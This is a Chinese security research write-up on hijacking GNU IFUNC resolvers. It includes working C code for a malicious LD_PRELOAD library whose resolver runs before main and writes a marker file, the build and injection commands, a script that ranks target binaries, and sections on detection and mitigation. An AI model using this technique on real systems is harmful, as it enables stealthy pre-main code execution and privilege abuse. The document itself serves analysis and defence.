IFUNC 重定向:内核还没交权,resolver 已经在跑
STT_GNU_IFUNC 的 resolver 是动态链接器在重定位期主动调用的用户代码:它比 main 早,比一切构造函数早,是 ELF 规范里“留了门”的加载期执行点。 任何“加载器在 main 之前调用的回调点”都是加载期代码执行的支点,IFUNC 是最早的那一个,而它的执行时机由绑定模式决定。
一、风险概述
一个进程的代码,最早从什么时候开始执行?
大多数人的直觉是 main。但这条路比想象的长:内核 execve 装载 ELF 之后,控制权先交给动态链接器 ld.so,它要做自举、加载依赖库、处理重定位、调用各库构造函数,最后才跳到 _start、进 main。这段“加载期”里跑的代码,几乎都是加载器自己的——除了一个例外:STT_GNU_IFUNC 符号的 resolver。
IFUNC 是 GNU 工具链为“运行时选函数”设计的符号类型。典型用法是 glibc 自己:同一份 memcpy 在 x86-64 上有 SSE/AVX 多套实现,运行时由 CPU 能力决定用哪套,这个选择函数就叫 resolver。它的特殊之处在于:ld.so 在处理引用该符号的重定位时,必须调用 resolver 来获得最终函数地址。也就是说,resolver 是动态链接器在重定位期主动执行的用户代码——不是被调用方拉起来的,是加载器请它出来的。
这带来的安全含义很直白:谁控制了 resolver,谁就在“进程真正开始跑业务之前”获得了一段同步执行的代码。libc 里这样的符号有 65 个(readelf -s /lib/x86_64-linux-gnu/libc.so.6 统计,strcpy、mempcpy、wcscpy 都是),静态二进制里更是几十个起步。
二、复现攻击链
2.1 建目录,文件,编译
$ mkdir -p ifunc-lab && cd ifunc-lablibfoo.c —— 受害者库。 关键在:int fn(int x) __attribute__((ifunc("lib_fn_resolver"))) : fn 是 IFUNC 符号,由 lib_fn_resolver 决定最终实现:
#define _GNU_SOURCE
#include <stdio.h>
static int lib_fn_impl(int x) { return x * 2; }
static void *lib_fn_resolver(unsigned long hwcap)
{
fprintf(stderr, "[libfoo-resolver] 正常 resolver hwcap=0x%lx\n", hwcap);
return (void *)lib_fn_impl;
}
/* 导出的 IFUNC 符号 fn */
int fn(int x) __attribute__((ifunc("lib_fn_resolver")));
/* 导出的普通函数 plain,作为对照 */
int plain(int x) { return x + 100; }prog.c —— 受害者程序。 只调用 fn 和 plain,不知道也不关心 IFUNC 的存在:
#define _GNU_SOURCE
#include <stdio.h>
extern int fn(int x);
extern int plain(int x);
int main(void)
{
fprintf(stderr, "[prog] main 开始\n");
fprintf(stderr, "[prog] fn(21)=%d plain(1)=%d\n", fn(21), plain(1));
return 0;
}evil_sys.c —— 攻击者库。 定义与 libfoo 同名的 IFUNC 符号 fn,resolver 里用 raw syscall 落盘,并返回一个“×3”的实现:
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
static int evil_sys_impl(int x) { return x * 3; }
static void *evil_sys_resolver(unsigned long hwcap)
{
static const char msg[] = "[evil-sys-resolver] raw syscall 在 ctor 与 main 之前执行\n";
int fd;
syscall(SYS_write, 2, msg, sizeof(msg) - 1);
fd = syscall(SYS_openat, AT_FDCWD, "/tmp/ifunc_pwned_sys.txt",
O_WRONLY | O_CREAT | O_APPEND, 0644);
if (fd >= 0) {
static const char body[] = "syscall resolver ran before ctor and main\n";
syscall(SYS_write, fd, body, sizeof(body) - 1);
syscall(SYS_close, fd);
}
return (void *)evil_sys_impl;
}
/* 同名 IFUNC 符号,优先级高于 libfoo.so */
int fn(int x) __attribute__((ifunc("evil_sys_resolver")));
__attribute__((constructor)) static void evil_sys_ctor(void)
{
fprintf(stderr, "[evil-ctor] 构造函数执行,晚于 resolver\n");
}编译:
$ gcc -O0 -fPIC -shared -o libfoo.so libfoo.c
$ gcc -O0 -no-pie -o prog prog.c -L. -lfoo
$ gcc -O0 -no-pie -o prog_now prog.c -L. -lfoo -Wl,-z,now
$ gcc -O0 -fPIC -shared -o evil_sys.so evil_sys.c注意 prog 和 prog_now 只差一个参数:-Wl,-z,now(BIND_NOW)。prog 默认 lazy 绑定(重定位拖到首次调用才解析),prog_now 让所有重定位在加载期立即解析。
用 readelf 命令核对编译文件:
$ readelf -sW libfoo.so | grep IFUNC
$ readelf -d prog | grep BIND_NOW || echo "prog: lazy"
$ readelf -d prog_now | grep BIND_NOW
输出显示:libfoo.so 中 fn 为 IFUNC;prog 无 BIND_NOW;prog_now 含 BIND_NOW,编译产物正确。
2.2 注入攻击(BIND_NOW)
$ LD_LIBRARY_PATH=. LD_PRELOAD=./evil_sys.so ./prog_now
$ cat /tmp/ifunc_pwned_sys.txt
一行一行看:evil-sys-resolver 打印在最前面——在 evil-ctor(恶意库自己的构造函数)之前,在 main 之前。落盘成功。最后 fn(21)=63:攻击者把 fn 的实现从“×2”换成了“×3”,普通函数 plain 不受影响。整条链路用时零系统调用之外的技巧,就是提供一个同名 IFUNC 符号。
这一步证明的是:攻击者不需要任何运行时漏洞,不需要改写 GOT 的内存,只需要让加载器在解析 fn 时“看到”攻击者的符号。加载器会自己调用攻击者的 resolver,把执行点送上门。
顺序 | 行为 | 可观察证据 |
1 | ld.so 处理 prog 对 fn 的 JUMP_SLOT 重定位,符号解析到 evil_sys.so 的同名 IFUNC |
|
2 | resolver 用 raw syscall 落盘(不碰 libc) |
|
3 | 各库构造函数被调用 |
|
4 | 主程序 main 开始 |
|
5 | fn 调用到被篡改的实现 |
|
使用 strace 查看 syscall 顺序:
$ LD_LIBRARY_PATH=. LD_PRELOAD=./evil_sys.so strace -f -e trace=write,openat,close ./prog_now 2>&1 | grep -E "ifunc_pwned|evil-|\[prog\]" | head -8
strace 输出与上面的运行结果一致:resolver 的 write 与 openat 排在最前,随后才是 ctor 与 main 的 write;fn(21)=63,落盘文件存在。攻击链的时序在 syscall 层面成立。
2.3 对照:lazy 模式下时序不同;stdio 版在加载期会死锁
先看 lazy 模式。 准备一个 stdio 版恶意库 evil.c:
#define _GNU_SOURCE
#include <stdio.h>
static int evil_impl(int x) { return x * 3; }
static void *evil_fn_resolver(unsigned long hwcap)
{
FILE *f;
fprintf(stderr, "[evil-resolver] 接管了 libfoo 的 fn,加载期执行 hwcap=0x%lx\n", hwcap);
f = fopen("/tmp/ifunc_pwned.txt", "a");
if (f) {
fprintf(f, "resolver 在 main 之前执行,已落盘\n");
fclose(f);
}
return (void *)evil_impl;
}
/* 同名 IFUNC 符号,优先级高于 libfoo.so */
int fn(int x) __attribute__((ifunc("evil_fn_resolver")));
__attribute__((constructor)) static void evil_ctor(void)
{
fprintf(stderr, "[evil-ctor] 构造函数执行,晚于 resolver\n");
}编译并注入默认(lazy)编译的 prog:
$ gcc -O0 -fPIC -shared -o evil.so evil.c
$ LD_LIBRARY_PATH=. LD_PRELOAD=./evil.so ./prog
注意顺序:evil-ctor → main → evil-resolver。也就是说 lazy 模式下,resolver 没有在加载期跑,而是在 main 内第一次调用 fn(21) 时由 PLT 修复触发。攻击依然成功(fn=63、落盘),但“main 之前执行”在 lazy 默认下不成立。
对比注入攻击的 BIND_NOW 顺序(resolver → ctor → main),结论很明确:同样的注入手法,resolver 的执行时机由绑定模式决定——lazy 是“首次调用”,BIND_NOW 是“加载期”。对攻击者来说,现代发行版不少程序(尤其是安全敏感组件、带 -z now 加固的二进制)都是 BIND_NOW,反而把执行点提前了。
此外一个细节:lazy 模式下 resolver 收到的 hwcap 参数是垃圾值(0x7f67cdc54408 是一段地址),BIND_NOW 下才是真实能力位(0x9)——PLT 修复路径直接拿 GOT 占位当参数传给了 resolver。
演示死锁。 把 stdio 版 evil.so 用到 BIND_NOW 的 prog_now 上:
$ timeout 8 env LD_LIBRARY_PATH=. LD_PRELOAD=./evil.so ./prog_now; echo $?
exit 124 = 被 timeout 杀死。strace 显示 resolver 的 write、openat、write(3,...)、close 全部成功,然后进程在用户态卡死,再没有任何 syscall。也就是说 resolver 的恶意动作都完成了,但加载流程后续死锁了。原因:reloc 期调用 libc 的 stdio/动态内存函数时,ld.so 的重定位锁与 libc 内部锁相互作用,进程挂起。
这一步证明的是:reloc 期的执行点,环境还没就绪。攻击者在这一步的载荷不能依赖 libc 的复杂设施,必须自包含(raw syscall 或纯计算)——这就是 evil_sys.c 用裸 syscall 落盘的原因。
三、机制:resolver 是“重定位期执行点”
3.1 加载期的完整时序
注意 resolver 在树里的位置:它在“处理重定位”这一步,位于“构造函数”之前,位于 main 之前。这就是“内核还没交权”既内核把控制权交给用户态之后,进程自己的业务代码还没跑过一行,resolver 已经执行完了。
3.2 什么决定了 resolver 到底多早
这是最重要的一个分化点。IFUNC resolver 的调用时机,取决于引用它的重定位类型:
- IRELATIVE(
R_X86_64_IRELATIVE):主程序/库自己定义、自己引用的 IFUNC,链接器生成 IRELATIVE 重定位。这种永远在加载期立即处理,不能延迟。 - JUMP_SLOT(
R_X86_64_JUMP_SLOT):跨对象引用(比如 prog 调 libfoo 的 fn)。这种走 PLT,默认 lazy,首次调用该函数时才解析;加-z now(BIND_NOW)则回到加载期立即解析。
换句话说:同一个 IFUNC,resolver 可能是“加载期执行”(main 前),也可能是“首次调用执行”(main 内),差别就在编译/链接参数。
3.3 三条充要条件
- 条件①(有 IFUNC 符号):没有符号就没有 resolver 可注入,普通函数的覆盖走的是另一条路。
- 条件②(有重定位引用):符号不被引用,resolver 根本不执行,这是未命中分支对照的结果。
- 条件③(能影响 resolver):注入同名符号需要符号查找顺序允许(preload 优先于依赖库,但不优先于主程序自身——边界对照的结果),控制库需要文件系统/供应链层面的能力。
三条缺一条,这条链就断。
四、对照验证:把机制边界逐个钉死
4.1 基线:IRELATIVE 让 resolver 比 main 早
ifunc_basic.c 程序自己定义 IFUNC 符号 fn,resolver 打印时间戳,main 也打印时间戳——用时间差直接看“早了多少”:
#define _GNU_SOURCE
#include <stdio.h>
#include <time.h>
static unsigned long long now_ns(void)
{
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (unsigned long long)ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}
static int real_fn(int x) { return x * 2; }
/* resolver:ld.so 在重定位期调用它来获得最终函数地址 */
static void *resolve_fn(unsigned long hwcap)
{
fprintf(stderr, "[resolver] hwcap=0x%lx 被调用了 t=%llu\n", hwcap, now_ns());
return (void *)real_fn;
}
int fn(int x) __attribute__((ifunc("resolve_fn")));
int main(void)
{
fprintf(stderr, "[main] 开始 t=%llu\n", now_ns());
fprintf(stderr, "[main] fn(21)=%d\n", fn(21));
fprintf(stderr, "[main] fn(21)=%d 第二次调用,resolver 应该不再执行\n", fn(21));
return 0;
}编译并运行:
$ gcc -O0 -no-pie -o ifunc_basic ifunc_basic.c
$ ./ifunc_basic
输出里 [resolver] 行位于 [main] 开始 之前,两行时间戳相差约 0.24 毫秒;fn(21)=42 且 resolver 仅出现一次——第二次调用未触发,解析结果已缓存进 GOT。基线成立。
重定位证据(E1b):
$ readelf -sW ifunc_basic | grep -i ifunc
$ readelf -rW ifunc_basic | grep IRELATIVE
fn 是 STT_GNU_IFUNC,对应重定位是 IRELATIVE——这一类重定位在加载期无条件立即处理,这就是上面的基线里 resolver 必然早于 main 的原因。
4.2 负向对照:普通符号覆盖只是“改数据”,IFUNC 覆盖是“执行代码”
neg.so 恶意库只含构造函数和普通符号覆盖(plain 被覆盖成 x+1000),不含 IFUNC,使用prog_now 做注入目标:
#define _GNU_SOURCE
#include <stdio.h>
__attribute__((constructor)) static void neg_ctor(void)
{
fprintf(stderr, "[neg-ctor] 构造函数执行,但库内没有 IFUNC 符号\n");
}
/* 普通符号覆盖:劫持 libfoo 的 plain */
int plain(int x) { return x + 1000; }编译并注入 BIND_NOW 的 prog_now:
$ gcc -O0 -fPIC -shared -o neg.so neg.c
$ LD_LIBRARY_PATH=. LD_PRELOAD=./neg.so ./prog_now
plain(1)=1001 说明普通符号劫持生效,但只是加载器往 GOT 写地址(数据替换),没有任何注入代码执行;fn(21)=42 说明 neg.so 没有同名 fn,解析回 libfoo 自己的 resolver。这个对照锁死机制差异:普通符号覆盖是“让调用改道”,IFUNC 覆盖是“让加载器执行你的代码”。
4.3 变体:dlopen(RTLD_LAZY)下,resolver 在 dlsym 时才执行
dlopen_test.c 用 dlopen 加载 libfoo.so,观察 resolver 在哪个调用点执行:
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
typedef int (*fn_t)(int);
int main(void)
{
void *h;
fn_t f;
h = dlopen("./libfoo.so", RTLD_LAZY);
if (!h) {
fprintf(stderr, "dlopen 失败: %s\n", dlerror());
return 1;
}
fprintf(stderr, "[dlopen_test] dlopen(RTLD_LAZY) 已返回,resolver 应该在此之前已经执行\n");
f = (fn_t)dlsym(h, "fn");
fprintf(stderr, "[dlopen_test] dlsym(fn)=%p,调用 fn(21)=%d\n", (void *)f, f(21));
dlclose(h);
return 0;
}编译运行:
$ gcc -O0 -no-pie -o dlopen_test dlopen_test.c -ldl
$ LD_LIBRARY_PATH=. ./dlopen_test
dlopen(RTLD_LAZY) 返回之后 resolver 才执行,触发点是 dlsym。RTLD_LAZY 下 IFUNC 的解析同样是懒的;反过来,dlopen 场景里攻击者控制加载时机的手段比启动场景更灵活。
4.4 未命中分支:IFUNC 存在但没人引用,resolver 不跑
unused.c 未命中分支:IFUNC 符号存在但没有任何重定位引用它,resolver 不应执行。
#define _GNU_SOURCE
#include <stdio.h>
static int real_fn(int x) { return x * 2; }
static void *resolve_fn(unsigned long hwcap)
{
fprintf(stderr, "[resolver] 不应该被调用!\n");
return (void *)real_fn;
}
int fn(int x) __attribute__((ifunc("resolve_fn")));
int main(void)
{
fprintf(stderr, "[unused] main:自始至终没有引用 fn\n");
return 0;
}编译运行:
$ gcc -O0 -no-pie -o unused unused.c
$ ./unused
$ readelf -sW unused | grep -i ifunc
程序仅打印 main 一行,resolver 未执行;readelf 显示 fn 符号仍在(IFUNC, GLOBAL)。这条未命中分支锁死充要条件二:光有 IFUNC 符号没用,必须有重定位引用它,resolver 才会被加载器调用。
4.5 静态链接下 resolver 更早,也更脆弱
ifunc_static_safe.c 静态程序没有动态链接器,IFUNC 由启动代码在更早的阶段处理。resolver 用 raw syscall 打印:
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
static int real_fn(int x) { return x * 2; }
static void *resolve_fn(unsigned long hwcap)
{
static const char m[] = "[resolver] 静态启动阶段,在 main 之前执行\n";
syscall(SYS_write, 2, m, sizeof(m) - 1);
return (void *)real_fn;
}
int fn(int x) __attribute__((ifunc("resolve_fn")));
int main(void)
{
static const char m[] = "[main] 开始\n";
syscall(SYS_write, 2, m, sizeof(m) - 1);
return (fn(21) == 42) ? 0 : 1;
}编译并运行两种静态模式:
$ gcc -O0 -static-pie -o ifunc_static_safe_pie ifunc_static_safe.c
$ gcc -O0 -static -o ifunc_static_safe ifunc_static_safe.c
$ ./ifunc_static_safe_pie # -static-pie
$ ./ifunc_static_safe # -static
两版均输出 resolver 在 main 前,退出码为 0,静态链接下 resolver 依然在 main 前执行。
再看静态二进制里有多少 IFUNC:
$ gcc -O0 -static -o ifunc_static ifunc_basic.c # 用上面的基线源文件编译全静态版
$ readelf -sW ifunc_static | grep IFUNC | wc -l
memcpy、memset、strlen、strcmp……glibc 的字符串/内存函数在静态链接时全部是 IFUNC,数量从动态小程序里的 1 个涨到 38 个。任何静态二进制的这些函数引用,都意味着启动早期有一批 resolver 在跑。
4.6 静态下 resolver 用 fprintf 直接段错误
运行 ifunc_static(fprintf 版):
$ ./ifunc_static; echo $?
exit 139 为段错误,无任何输出。静态启动阶段比动态 reloc 期更早,libc 的 stdio 初始化尚未完成,resolver 里调 fprintf(stderr) 直接崩溃。说明了执行点越早,libc 可用性越差。
4.7 边界:preload 覆盖不了主程序自身的 IFUNC 符号
用ifunc_basic 与evil.so 验证:
$ LD_PRELOAD=./evil.so ./ifunc_basic
运行的是主程序自己的 resolver(无 evil-resolver 输出),fn(21)=42 未被篡改。原因是符号查找顺序里主程序自身优先于 preload 库。这条边界锁死充要条件三的一半:注入同名 IFUNC 只对“来自依赖库的符号”有效。
4.8 变体矩阵里没跑通的:覆盖 glibc 内部版本化 IFUNC
strhijack_ifunc.c 尝试直接用 preload 覆盖 libc 自己的 strlen(版本化 IFUNC,strlen@GLIBC_2.2.5):
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
extern size_t __libc_strlen(const char *);
__asm__(".symver __libc_strlen, strlen@GLIBC_2.2.5");
__attribute__((used)) static size_t (*volatile _keep_ref)(const char *) = __libc_strlen;
static size_t my_strlen_impl(const char *s)
{
const char *p = s;
while (*p)
p++;
return (size_t)(p - s);
}
static void *my_strlen_resolver(unsigned long hwcap)
{
fprintf(stderr, "[strhijack-ifunc-resolver] 劫持了 libc 的 strlen IFUNC,在 main 前执行 hwcap=0x%lx\n", hwcap);
return (void *)my_strlen_impl;
}
size_t __my_strlen(const char *s) __attribute__((ifunc("my_strlen_resolver")));
/* --- 给无版本 IFUNC 符号加版本别名:strlen@GLIBC_2.2.5 --- */
__asm__(".symver __my_strlen, strlen@GLIBC_2.2.5");编译输出:
# .symver 加版本别名,链接器报版本节点缺失
$ gcc -O0 -fPIC -shared -o strhijack_ifunc.so strhijack_ifunc.c
编译链走不通,如实记录为未命中分支。说明:劫持 glibc 内部的版本化 IFUNC 在工具链层面就有门槛(符号版本机制),所以更现实的攻击面是应用/中间件自己导出的无版本 IFUNC。
五、根因与排查
5.1 根因:规范把“选实现”的权力交给了加载器
IFUNC 的本意是好的:让 libc 在运行时按 CPU 能力选 memcpy 的 SSE/AVX 实现。但为了实现这个,ELF 规范引入了一个设计决策——加载器为了知道最终函数地址,必须调用一段用户代码(resolver)。在符号正常、无人干扰时,这是性能优化;一旦符号解析可以被环境变量(LD_PRELOAD)或库文件替换劫持,这个“受信任的执行点”就变成了“受信任的执行点被冒名顶替”。冒名者不是用漏洞,而是按规范来的:加载器本来就该调用 resolver,只是它不知道该调用谁的。
和普通 GOT 劫持对比:普通符号覆盖,加载器只往 GOT 里写一个地址;IFUNC 覆盖,加载器先执行你的 resolver,再把返回的地址写进 GOT。多出来的这一步“代码执行”。
5.2 排查:怎么确认“是 IFUNC 在跑”
- 查符号——
readelf -sW <bin> | grep IFUNC。有 IFUNC 才有本文的机制;没有的话,可疑行为大概率是构造函数或普通符号劫持。 - 查绑定模式——
readelf -d <bin> | grep BIND_NOW。没有 BIND_NOW 时,resolver 可能拖到首次调用才跑,用 strace 抓启动 syscall 会“抓不到”,别误判成没有。 - 看时序——
LD_DEBUG=reloc ./prog 2>&1 | grep -i ifunc能看到重定位处理;strace -f -e trace=write ./prog能看到 reloc 期的 syscall 排在最前。 - 看 preload——
ldd <bin>依赖列表里混入的非系统库、/etc/ld.so.preload的内容、环境变量里的 LD_PRELOAD。这是注入最常见的入口。
六、修复
- 特权上下文阻断注入 —— setuid / AT_SECURE。 进程 euid ≠ uid 时内核置 AT_SECURE,ld.so 忽略 LD_PRELOAD 与 LD_LIBRARY_PATH。实测:同一注入,root 下
fn(21)=63、落盘;降权运行fn(21)=42、无落盘,注入被 glibc 掐断。挡不住“root 拥有的库文件被替换”,那是供应链问题。 - 静态链接:消除动态符号覆盖。 静态程序无动态链接器,LD_PRELOAD 无效。
- 符号可见性控制。 库作者用版本脚本或
-fvisibility=hidden隐藏 IFUNC 符号,preload 无法同名覆盖。对“替换整个库文件”无效。 - 检测与审计。
readelf -sW扫 IFUNC、readelf -d看绑定标志、ldd看 preload、LD_DEBUG=files盯启动;CI 对构建产物的 IFUNC 清单做 diff。 - 安全机制前置。 resolver 早于 seccomp/沙箱初始化;让安全边界在 ld.so 之前介入(如静态 PIE + 自定义启动代码),resolver 阶段的恶意 syscall 才会被第一道防线看到。
七、攻击者视角
7.1 诱导链:怎么把恶意库送到加载器嘴边
- 环境变量注入:目标程序的包装脚本/服务管理器里塞
LD_PRELOAD=...。对普通进程,这是最直接的入口;对 setuid 进程,被 AT_SECURE 挡。 - 替换依赖库:目标程序
NEEDED里的libfoo.so被替换成带恶意 IFUNC 的版本。绕开 AT_SECURE,但需要文件系统写权限——这是供应链/权限问题。 - rpath/runpath 劫持:二进制编译时带
-rpath指向攻击者可写的目录(如$ORIGIN相关的相对路径),放同名库进去。
7.2 提权链:resolver 在特权上下文执行
IFUNC 时机对特权程序的价值在于“早”:如果目标进程在 main 里才降权/装 seccomp/收拢能力,resolver 阶段这些限制还没生效。攻击者拿到的是“特权完整、防护未装”的窗口。配合库替换(绕开 AT_SECURE),resolver 里干的事会以进程最高权限执行。
7.3 自动化探测
扫一批二进制,挑出 IFUNC 面大的目标:
$ for b in /usr/bin/*; do n=$(readelf -sW "$b" 2>/dev/null | grep -c IFUNC); \
now=$(readelf -d "$b" 2>/dev/null | grep -c BIND_NOW); \
[ "$n" -gt 0 ] && echo "$n $now $b"; done | sort -rn | head -10
优先目标特征:IFUNC 符号多(覆盖面大)、BIND_NOW(执行点提前)、非 setuid(环境变量注入可行)、依赖可替换库(供应链入口)。静态二进制是探测结果里容易被忽略的一类。
八、结论
- IFUNC 的本质是重定位期执行点:ld.so 为了拿最终函数地址必须调用 resolver,它比 main 早、比构造函数早,是 ELF 规范里“留了门”的加载期执行点。
- 执行时机由绑定模式决定,这是本次实测纠正的最大假设:IRELATIVE 和 BIND_NOW 下 resolver 在加载期跑(比 main 早约 0.24ms);默认 lazy 下推迟到首次调用。攻击者想要“main 之前”,目标最好是 BIND_NOW 或静态链接。
- 早期执行点有固有代价:reloc 期调 libc stdio 死锁、静态阶段直接段错误,载荷必须自包含(raw syscall)。这不是缺陷,是“早”的定价。
- 防御分层有效:AT_SECURE 挡环境变量注入、静态链接挡动态 preload、符号隐藏挡同名覆盖、审计负责发现;残余面是文件系统级替换/供应链,那超出加载器能管的范围。